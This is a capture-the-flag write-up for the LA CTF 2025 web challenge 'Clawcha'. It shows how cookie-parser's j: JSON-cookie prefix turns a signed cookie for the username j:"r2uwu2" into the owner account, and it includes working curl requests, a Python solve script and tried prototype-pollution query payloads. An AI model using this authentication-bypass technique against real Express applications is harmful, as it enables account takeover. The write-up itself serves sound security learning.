Clawcha - LA CTF 2025 Web Writeup
Category: Web
Difficulty: Medium
Points: 260
Solves: 44
Flag: lactf{m4yb3_th3_r34l_g4ch4_w4s_l7f3}
Solved by: Smothy @ 0xN1umb

"When the real gacha was the cookies we forged along the way."
Challenge Description
I found a hoyoverse claw machine out in the wild. You should play it a lot and give
meit all your moneys.
We're given a Node.js Express app that simulates a Hoyoverse-themed gacha/claw machine. You can pull characters like Kafka, Acheron, and Mavuika, but the flag item has a probability of 1e-15 (0.000000000000001%). The only way to bypass this check is to be the "owner" - a user called r2uwu2 whose password is a server secret we don't know.
TL;DR
Cookie-parser's j: JSON cookie prefix lets us register as j:"r2uwu2", get a valid signed cookie, and when it's parsed back, the JSON deserialization turns our username into r2uwu2 - the owner. Cookie type confusion go brrr.
Initial Recon
The challenge gives us a zip with the full source. Let's see what we're working with:
Key observations:
- Node.js 25 in the Dockerfile (suspicious, but turns out to be a red herring)
- Express 4.21.2 with cookie-parser 1.4.7 and cookie-signature 1.0.6
- Flag item has probability
1e-15- basically zero - Only the user
r2uwu2hasowner: true, which bypasses the probability check - The
r2uwu2password isprocess.env.SECRET- we can't guess it
The critical code in /claw:
const isOwner = res.locals.user?.owner ?? false;
const item = inventory.gacha(req.body.item);
const pulled = (item && (Math.random() < item.probability || isOwner))
? item : null;If isOwner is truthy, we win every time. So the whole challenge boils down to: how do we make isOwner true?
Step 1: Understanding the Auth Flow
The login endpoint registers new users with owner: false hardcoded:
users.set(username, { username, password, owner: false });The auth middleware checks for a signed cookie, looks up the username in the Map, and sets res.locals.user to the user object. The cookie is signed with HMAC-SHA256 using the server secret, so we can't forge it.
Or can we?
Step 2: The Node.js 25 Rabbit Hole
The Dockerfile explicitly uses node:25-bookworm-slim. I spent way too long investigating:
- Did V8 14.1 change
__proto__handling? Nope. - Does Express's
allowPrototypes: truein qs enable pollution? Tested it - nope, qs 6.13.0 changes the local object's prototype, doesn't polluteObject.prototype. - Any changes to
JSON.parse__proto__behavior? Nope, still creates data properties.
Node.js 25 was a complete red herring. The vulnerability has nothing to do with the runtime version.
Step 3: The Breakthrough - Cookie-Parser's j: Prefix
After exhausting prototype pollution angles, I looked more carefully at how cookie-parser processes cookies. There are THREE processing stages:
cookie.parse()- Parse raw Cookie headersignedCookies()- Verify HMAC signatures, strips:prefixJSONCookies()- If value starts withj:, callJSON.parse()on the rest
Wait. JSONCookies runs AFTER signature verification. So if I can get a legitimately signed cookie whose value starts with j:, cookie-parser will JSON-parse it!
What happens if I register with the username j:"r2uwu2"?
The flow:
- Register as
j:"r2uwu2"with any password - Server signs the cookie:
s:j:"r2uwu2".<valid HMAC> - On the next request, cookie-parser:
- Unsigns it: strips
s:, verifies HMAC, getsj:"r2uwu2"- valid! - JSONCookie sees
j:prefix, callsJSON.parse('"r2uwu2"') JSON.parse('"r2uwu2"')returns the string"r2uwu2"(without thej:prefix!)
- Unsigns it: strips
req.signedCookies.usernameis now"r2uwu2"- the OWNER- Auth middleware:
users.has("r2uwu2")-> true ->res.locals.user.owner= true
The key insight: JSON.parse('"r2uwu2"') is valid JSON! A JSON string literal evaluates to a plain string. So our username silently transforms from j:"r2uwu2" (our registered user) to r2uwu2 (the owner).
Step 4: The Exploit
# Step 1: Register with the crafted username
curl -c cookies.txt -X POST https://clawcha.chall.lac.tf/login \
-H 'Content-Type: application/json' \
-d '{"username":"j:\"r2uwu2\"","password":"anything"}'
# {"success":true}
# Step 2: Use the cookie to grab the flag
curl -b cookies.txt -X POST https://clawcha.chall.lac.tf/claw \
-H 'Content-Type: application/json' \
-d '{"item":"flag"}'
# {"success":true,"msg":"lactf{m4yb3_th3_r34l_g4ch4_w4s_l7f3}"}Two requests. That's it. No prototype pollution, no PRNG prediction, no crypto attacks. Just a cookie type confusion.
The Flag
lactf{m4yb3_th3_r34l_g4ch4_w4s_l7f3}
"maybe the real gacha was life" - deep. GG.
The Solve Script
#!/usr/bin/env python3
"""
Clawcha - LA CTF 2025 Web Exploit
Cookie type confusion via cookie-parser j: prefix
Solved by Smothy @ 0xN1umb
"""
import requests
BASE = "https://clawcha.chall.lac.tf"
s = requests.Session()
# Register with j:"r2uwu2" - after cookie JSON parsing, becomes "r2uwu2" (owner)
s.post(f"{BASE}/login", json={
"username": 'j:"r2uwu2"',
"password": "pwned"
})
# Now our cookie resolves to the owner - grab the flag
r = s.post(f"{BASE}/claw", json={"item": "flag"})
print(r.json()["msg"])The Graveyard of Failed Attempts
-
Prototype pollution via qs query string (
?__proto__[user][owner]=true)- Express does pass
allowPrototypes: trueto qs, but qs 6.13.0'sobj.__proto__ = valuechanges the local object's prototype, doesn't polluteObject.prototype. Tested locally, confirmed no pollution.
- Express does pass
-
Constructor.prototype pollution (
?constructor[prototype][owner]=true)- Creates an own
constructorproperty on the result, shadows the inherited one. No global pollution.
- Creates an own
-
JSON body
__proto__pollutionJSON.parsecreates__proto__as a data property. No prototype setter triggered. Even in Node.js 25.
-
Math.random() prediction (xorshift128+ state recovery)
- With probability 1e-15 (~2^(-50)), even with perfect state prediction, finding a qualifying output would take ~2^50 iterations. Way too impractical for a web CTF.
-
Node.js 25 specific vulnerabilities
- Investigated V8 14.1 changes,
__proto__accessor status, JSON.parse behavior. Nothing relevant. Complete red herring.
- Investigated V8 14.1 changes,
Key Takeaways
-
Read the middleware source code - cookie-parser has a
j:JSON prefix feature that most people don't know about. The vuln is in the gap between what gets signed and what gets used after JSON parsing. -
Type confusion between processing stages - The cookie is signed as
j:"r2uwu2"(one identity), but after JSON parsing becomesr2uwu2"(different identity). Classic confusion between serialization layers. -
Don't get tunnel-visioned on red herrings - Node.js 25 in the Dockerfile was designed to make you waste time investigating V8/runtime changes. The actual vuln is in a cookie-parser feature that exists in every version.
-
Understand the full processing pipeline - The vulnerability only becomes visible when you understand ALL three stages: parse -> unsign -> JSON decode. Missing any one stage means missing the exploit.
-
JSON.parse('"string"')is valid JSON - A double-quoted string is a valid JSON value. This is what makes the type confusion work - our crafted username is valid JSON that evaluates to a different string.
Tools Used
- curl (for testing payloads)
- Node.js + qs (for local prototype pollution testing)
- Way too much time investigating prototype pollution
- Way too much caffeine
Writeup by Smothy from 0xN1umb team. Sometimes the simplest bugs hide behind the loudest red herrings. Two curls and a dream. GG.